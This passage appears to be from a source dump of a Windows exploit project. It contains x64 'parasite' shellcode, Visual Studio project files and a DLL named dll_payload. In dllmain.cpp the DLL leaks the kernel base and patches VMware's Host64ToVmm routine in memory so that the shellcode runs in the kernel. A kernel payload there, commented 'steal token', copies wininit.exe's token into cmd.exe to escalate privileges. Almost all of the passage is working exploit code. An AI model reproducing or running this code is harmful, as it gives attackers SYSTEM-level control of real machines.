add [rcx+16], rax
push r8
push r9
push rbx
push rdx
push r13
push r12
push r11
push r10
pushfq
; allocate and copy code
push rcx
sub rsp,030h
mov r12, [rcx+8]
mov rdx, [rcx+8*5] ;
sub rcx, rcx
call r12
add rsp,030h
pop rcx
;
push rcx
mov [rcx+8*4], rax
mov rsi, [rcx+8*3]
mov rdi, rax
mov rcx, [rcx+8*5] ;
rep movsb
pop rcx
; allocate and copy data
push rcx
sub rsp,030h
mov r12, [rcx+8]
mov rdx, [rcx+8*8] ;
sub rcx, rcx
call r12
add rsp,030h
pop rcx
push rcx
mov [rcx+8*7], rax
mov rsi, [rcx+8*6]
mov rdi, rax
mov rcx, [rcx+8*8] ;
rep movsb
pop rcx
mov rax, [rcx+8*4]
mov rcx, [rcx+8*7]
mov rdx, rcx
sub rsp,030h
call rax
add rsp,030h
popfq
pop r10
pop r11
pop r12
pop r13
pop rdx
pop rbx
pop r9
pop r8
pop rcx ; restore original
pop rax
jmp qword ptr[rax]
overint:
pop rax
cmp qword ptr [rax+5+1],0
jnz once_c
push qword ptr [rsp+666h] ; this 666 is fixed when overwriting Host64ToVmm
pop qword ptr [rax+5+1]
mov [rsp+666h], rax ; this 666 is fixed when overwriting Host64ToVmm
once_c:
ret
parasite ENDP
parasite_end PROC
ret
parasite_end ENDP
END
================================================
FILE: dll_payload/dll_payload/dll_payload.cpp
================================================
// dll_payload.cpp : Defines the exported functions for the DLL application.
//
#include "stdafx.h"
================================================
FILE: dll_payload/dll_payload/dll_payload.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{C430A90E-331B-46B0-83DE-6697BF409895}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>dll_payload</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;DLL_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;DLL_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;DLL_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;DLL_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>true</BufferSecurityCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
<ClInclude Include="uhde.h" />
<ClInclude Include="hook.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</PrecompiledHeader>
<BufferSecurityCheck Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</BufferSecurityCheck>
<Optimization Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Disabled</Optimization>
<InlineFunctionExpansion Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Disabled</InlineFunctionExpansion>
</ClCompile>
<ClCompile Include="dll_payload.cpp" />
<ClCompile Include="hde\hde64.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="uhde.cpp" />
<ClCompile Include="hook.cpp" />
</ItemGroup>
<ItemGroup>
<CustomBuild Include="asm64.asm">
<FileType>Document</FileType>
<Command Condition="'$(Configuration)|$(Platform)'=='Release|x64'">ml64 /Zi /c /Fo$(outdir)\asm64.obj asm64.asm</Command>
<Outputs Condition="'$(Configuration)|$(Platform)'=='Release|x64'">$(outdir)\asm64.obj</Outputs>
</CustomBuild>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
================================================
FILE: dll_payload/dll_payload/dll_payload.vcxproj.filters
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="Source Files\x64">
<UniqueIdentifier>{7afc6a96-8aee-4944-af89-9f464bd28856}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="uhde.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="hook.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dll_payload.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="uhde.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="hook.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="hde\hde64.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<CustomBuild Include="asm64.asm">
<Filter>Source Files</Filter>
</CustomBuild>
</ItemGroup>
</Project>
================================================
FILE: dll_payload/dll_payload/dllmain.cpp
================================================
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <algorithm>
#include <string>
#include <Windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include "uhde.h"
#include "hook.h"
extern "C" void parasite(void);
extern "C" void parasite_end(void);
ULONG rsp_hack_adj;
ULONG parasite_adj_addr1;
ULONG parasite_adj_addr2;
hook classVM_LOADER;
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
#define PEPROCESS PVOID
BOOL FileExists(LPCTSTR szPath)
{
DWORD dwAttrib = ::GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
typedef void (WINAPI * RtlGetVersion_FUNC) (OSVERSIONINFOEXW *);
BOOL MGetVersion(OSVERSIONINFOEX * os)
{
HMODULE hMod;
RtlGetVersion_FUNC func;
OSVERSIONINFOEXW o;
OSVERSIONINFOEXW *osw = &o;
hMod = ::LoadLibrary(TEXT("ntdll.dll"));
if (hMod)
{
func = (RtlGetVersion_FUNC)::GetProcAddress(hMod, "RtlGetVersion");
if (func == 0)
{
::FreeLibrary(hMod);
return FALSE;
}
ZeroMemory(osw, sizeof(*osw));
osw->dwOSVersionInfoSize = sizeof(*osw);
func(osw);
os->dwBuildNumber = osw->dwBuildNumber;
os->dwMajorVersion = osw->dwMajorVersion;
os->dwMinorVersion = osw->dwMinorVersion;
os->dwPlatformId = osw->dwPlatformId;
}
else
return FALSE;
::FreeLibrary(hMod);
return TRUE;
}
HANDLE get_pid_by_process_name(wchar_t *proc_name)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap != INVALID_HANDLE_VALUE)
{
pe32.dwSize = sizeof(PROCESSENTRY32);
if (::Process32First(hProcessSnap, &pe32))
{
do
{
if (!wcscmp(pe32.szExeFile, proc_name))
return (HANDLE)(UINT_PTR)pe32.th32ProcessID;
} while (::Process32Next(hProcessSnap, &pe32));
}
//else
// printf("Process32First failed\r\n");
}
//else
// printf("CreateToolhelp32Snapshot failed\r\n");
return 0;
}
PVOID get_napi_va(uint8_t* map_base, uint64_t img_base, char *api_name)
{
PVOID result = 0;
IMAGE_DOS_HEADER* dhdr = (IMAGE_DOS_HEADER*)map_base;
IMAGE_NT_HEADERS64* nthdr = (IMAGE_NT_HEADERS64*)(map_base + dhdr->e_lfanew);
if (nthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
{
IMAGE_EXPORT_DIRECTORY* exports = (IMAGE_EXPORT_DIRECTORY*)(map_base + nthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
uint32_t* AddressOfFunctions = (uint32_t*)(map_base + exports->AddressOfFunctions);
uint32_t* AddressOfNames = (uint32_t*)(map_base + exports->AddressOfNames);
uint16_t* AddressOfNameOrdinals = (uint16_t*)(map_base + exports->AddressOfNameOrdinals);
for (DWORD i = 0; i < exports->NumberOfNames; i++)
{
if (!strcmp(api_name, ((char*)map_base + AddressOfNames[i])))
{
result = (PVOID)(img_base + AddressOfFunctions[AddressOfNameOrdinals[i]]);
break;
}
}
}
return result;
}
typedef NTSTATUS(WINAPI *TNtQuerySystemInformation)(ULONG_PTR SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
TNtQuerySystemInformation _NtQuerySystemInformation;
#define SystemModuleInformation 11
PVOID leak_kernelbase()
{
ULONG len = 0;
PVOID result = 0;
_NtQuerySystemInformation = (TNtQuerySystemInformation)::GetProcAddress(::GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
return 0;
_NtQuerySystemInformation(SystemModuleInformation, nullptr, 0, &len);
RTL_PROCESS_MODULES *modules = (RTL_PROCESS_MODULES*)std::malloc(len * 2);
if (modules)
{
if (_NtQuerySystemInformation(SystemModuleInformation, modules, len * 2, &len) >= 0)
{
for (ULONG i = 0; i < modules->NumberOfModules; i++)
{
std::string moduleName((PCHAR)modules->Modules[i].FullPathName + modules->Modules[i].OffsetToFileName);
std::transform(moduleName.begin(), moduleName.end(), moduleName.begin(), ::tolower);
if (moduleName.find("ntoskrnl.exe") != std::string::npos)
{
result = (PVOID)modules->Modules->ImageBase;
break;
}
}
}
std::free(modules);
}
return result;
}
// kernel payload stuff
typedef ULONG(NTAPI *TDbgPrint)(_In_ PCHAR Format, ...);
typedef PVOID(NTAPI *TMmGetSystemRoutineAddress)(_In_ PUNICODE_STRING SystemRoutineName);
typedef VOID(WINAPI *TRtlInitUnicodeString)(_Inout_ PUNICODE_STRING DestinationString, _In_opt_ PCWSTR SourceString);
typedef NTSTATUS(WINAPI *TPsLookupProcessByProcessId)(_In_ HANDLE ProcessId, _Out_ PEPROCESS *Process);
typedef VOID(WINAPI *TObDereferenceObject)(_In_ PVOID Object);
class krn_pld
{
public:
unsigned char magic_val;
void km_payload_code(krn_pld *);
void setup_strings(krn_pld *);
TDbgPrint _DbgPrint;
TPsLookupProcessByProcessId _PsLookupProcessByProcessId;
TObDereferenceObject _ObDereferenceObject;
TMmGetSystemRoutineAddress _MmGetSystemRoutineAddress; // initialized 1
TRtlInitUnicodeString _RtlInitUnicodeString; // initialized 2
DWORD token_offset;
HANDLE target_pid;
HANDLE source_pid;
char msgstr[64];
WCHAR s_DbgPrint[64];
WCHAR s_PsLookupProcessByProcessId[64];
WCHAR s_ObDereferenceObject[64];
};
void payload_marker_start(krn_pld *km_data)
{
km_data->_DbgPrint(km_data->msgstr); // dummy
}
void krn_pld::km_payload_code(krn_pld *km_data)
{
UNICODE_STRING routineName;
km_data->_RtlInitUnicodeString(&routineName, km_data->s_DbgPrint);
km_data->_DbgPrint = (TDbgPrint)km_data->_MmGetSystemRoutineAddress(&routineName);
if (km_data->_DbgPrint)
{
for (int i = 0; i < 30; i++)
km_data->_DbgPrint(km_data->msgstr);
}
// steal token
km_data->_RtlInitUnicodeString(&routineName, km_data->s_PsLookupProcessByProcessId);
km_data->_PsLookupProcessByProcessId = (TPsLookupProcessByProcessId)km_data->_MmGetSystemRoutineAddress(&routineName);
km_data->_RtlInitUnicodeString(&routineName, km_data->s_ObDereferenceObject);
km_data->_ObDereferenceObject = (TObDereferenceObject)km_data->_MmGetSystemRoutineAddress(&routineName);
if (km_data->token_offset && km_data->_MmGetSystemRoutineAddress && km_data->_ObDereferenceObject)
{
NTSTATUS status;
HANDLE pid_src = (HANDLE)km_data->source_pid;
HANDLE pid_dst = (HANDLE)km_data->target_pid;
PEPROCESS eprocess_src;
PEPROCESS eprocess_dst;
status = km_data->_PsLookupProcessByProcessId((HANDLE)pid_src, &eprocess_src);
if (NT_SUCCESS(status))
{
status = km_data->_PsLookupProcessByProcessId((HANDLE)pid_dst, &eprocess_dst);
if (NT_SUCCESS(status))
{
*(DWORD *)((PUCHAR)eprocess_dst + km_data->token_offset) = *(DWORD *)((PUCHAR)eprocess_src + km_data->token_offset);
km_data->_ObDereferenceObject(eprocess_dst);
}
km_data->_ObDereferenceObject(eprocess_src);
}
}
}
void payload_marker_end(krn_pld *km_data)
{
UNICODE_STRING routineName; // dummy
km_data->magic_val = 1;// dummy
km_data->_DbgPrint = (TDbgPrint)km_data->_MmGetSystemRoutineAddress(&routineName); // dummy
}
// setup string (usermode)
void krn_pld::setup_strings(krn_pld *km_data)
{
strcpy_s(km_data->msgstr, 64, "KERNEL CODE EXEC!\r\n");
wcscpy_s(km_data->s_ObDereferenceObject, 64, L"ObDereferenceObject");
wcscpy_s(km_data->s_PsLookupProcessByProcessId, 64, L"PsLookupProcessByProcessId");
wcscpy_s(km_data->s_DbgPrint, 64, L"DbgPrint");
km_data->token_offset = 0;
km_data->target_pid = 0;
km_data->source_pid = 0;
}
DWORD locate_token_offset()
{
WCHAR sys_dir[MAX_PATH + 16];
WCHAR krnlpth[MAX_PATH + 16];
DWORD token_pos = 0;
if (::GetSystemDirectory(sys_dir, MAX_PATH))
{
wsprintf(krnlpth, L"%ws\\%ws", sys_dir, L"ntoskrnl.exe");
if (FileExists(krnlpth))
{
HMODULE hMod = ::LoadLibraryEx(krnlpth, NULL, LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE);
if (hMod)
{
PBYTE mod_base_addr = (PBYTE)((uintptr_t)hMod & -4);
PVOID va_PsReferencePrimaryToken = (PVOID)get_napi_va(mod_base_addr, 0, "PsReferencePrimaryToken");
if (va_PsReferencePrimaryToken)
{
PBYTE _PsReferencePrimaryToken = (PBYTE)mod_base_addr + (size_t)va_PsReferencePrimaryToken;
ULONG len = 0;
uhde64 hde;
while (len < 256)
{
len += hde.disasm(_PsReferencePrimaryToken + len);
if (hde.gethdes()->opcode == 0xE8)
break;
else if (hde.gethdes()->opcode == 0x8D)
token_pos = token_pos > hde.gethdes()->disp.disp32 ? token_pos : hde.gethdes()->disp.disp32;
else if (hde.gethdes()->opcode >= 0x81)
token_pos = token_pos > hde.gethdes()->imm.imm32 ? token_pos : hde.gethdes()->imm.imm32;
}
}
::FreeLibrary(hMod);
}
}
}
return token_pos;
}
DWORD susp_resm_threads(DWORD pid, bool resume0)
{
DWORD tid = 0;
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te))
{
do
{
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID) && te.th32OwnerProcessID == pid && te.th32ThreadID != GetCurrentThreadId())
{
DWORD target_tid = te.th32ThreadID;
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, target_tid);
if (hThread && hThread != INVALID_HANDLE_VALUE)
{
if (resume0)
ResumeThread(hThread);
else
SuspendThread(hThread);
CloseHandle(hThread);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
return tid;
}
typedef void (krn_pld::*Tpayloadfunc)(krn_pld *);
krn_pld payload_class;
typedef PVOID(*Tspec_func)(void);
Tspec_func R_hook_vm_loader;
volatile unsigned long long triggered;
PVOID hook_vm_loader(void)
{
PVOID result = 0;
result = R_hook_vm_loader();
//if (InterlockedCompareExchange(&triggered, 1, 0))
// return result;
//BYTE Host64ToVmm_pat[] = { 0x48, 0x81, 0xc1, 0x40, 0x01, 0x00, 0x00, 0xff, 0x34, 0x24, 0x8c, 0x4c, 0x24, 0x08, 0x48, 0x89 };
BYTE Host64ToVmm_pat[] = { 0x48, 0x81, 0xc1, 0x40, 0x01, 0x00, 0x00, 0xff, 0x34, 0x24, 0x8c, 0x4c, 0x24, 0x08 };
PBYTE Host64ToVmm = ((PBYTE)::GetModuleHandleA(0));
while (true) // don't care, just crash if pattern not found
{
if (!memcmp(Host64ToVmm, Host64ToVmm_pat, sizeof(Host64ToVmm_pat)))
break;
Host64ToVmm++;
}
WCHAR sys_dir[MAX_PATH + 16];
WCHAR krnlpth[MAX_PATH + 16];
if (::GetSystemDirectory(sys_dir, MAX_PATH))
{
wsprintf(krnlpth, L"%ws\\%ws", sys_dir, L"ntoskrnl.exe");
if (FileExists(krnlpth))
{
HMODULE hMod = ::LoadLibraryEx(krnlpth, NULL, LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE);
if (hMod)
{
PVOID _ExAllocatePool = get_napi_va((uint8_t*)((uintptr_t)hMod & -4), 0, "ExAllocatePool");
PVOID _MmGetSystemRoutineAddress = get_napi_va((uint8_t*)((uintptr_t)hMod & -4), 0, "MmGetSystemRoutineAddress");
PVOID _RtlInitUnicodeString = get_napi_va((uint8_t*)((uintptr_t)hMod & -4), 0, "RtlInitUnicodeString");
PVOID kernel_base = leak_kernelbase();
DWORD token_offset = locate_token_offset();
if (*Host64ToVmm == 0x48 && kernel_base && _ExAllocatePool && _MmGetSystemRoutineAddress && _RtlInitUnicodeString && token_offset)
{
susp_resm_threads(GetCurrentProcessId(), 0);
Sleep(1000);
payload_class.setup_strings(&payload_class);
payload_class._RtlInitUnicodeString = (TRtlInitUnicodeString)((unsigned __int64)_RtlInitUnicodeString + (PUCHAR)kernel_base);
payload_class._MmGetSystemRoutineAddress = (TMmGetSystemRoutineAddress)((unsigned __int64)_MmGetSystemRoutineAddress + (PUCHAR)kernel_base);
payload_class.target_pid = get_pid_by_process_name(L"cmd.exe");
payload_class.source_pid = get_pid_by_process_name(L"wininit.exe");
payload_class.token_offset = token_offset;
memcpy(Host64ToVmm, parasite, (size_t)((PUCHAR)¶site_end - (PUCHAR)¶site));
*(PDWORD)(Host64ToVmm + parasite_adj_addr1) = rsp_hack_adj;
*(PDWORD)(Host64ToVmm + parasite_adj_addr2) = rsp_hack_adj;
memcpy(Host64ToVmm + 5, &kernel_base, 8);
memcpy(Host64ToVmm + 5 + 8, &_ExAllocatePool, 8);
memcpy(Host64ToVmm + 5 + 8 + 8, &_MmGetSystemRoutineAddress, 8);
Tpayloadfunc func_addr = &krn_pld::km_payload_code;
memcpy(Host64ToVmm + 5 + 8 + 8 + 8, &func_addr, 8);
unsigned __int64 vl = (unsigned __int64)((PUCHAR)payload_marker_end - (PUCHAR)payload_marker_start);
memcpy((Host64ToVmm + 5) + 8 * 5, &vl, 8);
krn_pld *hlpr_v = &payload_class;
memcpy((Host64ToVmm + 5) + 8 * 6, &hlpr_v, 8);
unsigned __int64 v2 = sizeof(krn_pld);
memcpy((Host64ToVmm + 5) + 8 * 8, &v2, 8);
susp_resm_threads(GetCurrentProcessId(), 1);
}
::FreeLibrary(hMod);
}
}
}
return result;
}
ULONG locate_return_pos()
{
ULONG ret_pos = 0;
WCHAR vmx_drv_path[MAX_PATH + 2];
vmx_drv_path[MAX_PATH] = 0;
if (!GetSystemDirectory(vmx_drv_path, MAX_PATH))
return 0;
wcscat_s(vmx_drv_path, MAX_PATH, L"\\Drivers\\vmx86.sys");
if (FileExists(vmx_drv_path))
{
HANDLE fhandle = ::CreateFile(vmx_drv_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (fhandle != INVALID_HANDLE_VALUE)
{
DWORD file_size = ::GetFileSize(fhandle, 0);
if (file_size != INVALID_FILE_SIZE)
{
PBYTE buffer = (PBYTE)std::malloc(file_size + 32);
if (buffer)
{
DWORD bytes_read = 0;
if (::ReadFile(fhandle, buffer, file_size, &bytes_read, NULL))
{
ULONG len = 0;
uhde64 hde;
ULONG rsp_adj = 0;
ULONG psh_nr = 0;
bool found = 0;
while (len < file_size)
{
len += hde.disasm(buffer + len);
if (hde.gethdes()->opcode == 0xCC)
{
rsp_adj = 0;
psh_nr = 0;
}
else if (hde.gethdes()->opcode == 0x81 && hde.gethdes()->modrm == 0xEC)
rsp_adj = hde.gethdes()->imm.imm32;
else if (hde.gethdes()->opcode >= 0x50 && hde.gethdes()->opcode <= 0x57)
psh_nr++;
else if (hde.gethdes()->opcode >= 0xB9 && hde.gethdes()->imm.imm32 == 0xC0000102)
{
found = 1;
ret_pos = rsp_adj + psh_nr * 8 + 8;
break;
}
}
}
std::free(buffer);
}
}
::CloseHandle(fhandle);
}
}
return ret_pos;
}
void get_return_adj_addr(PDWORD addr1, PDWORD addr2)
{
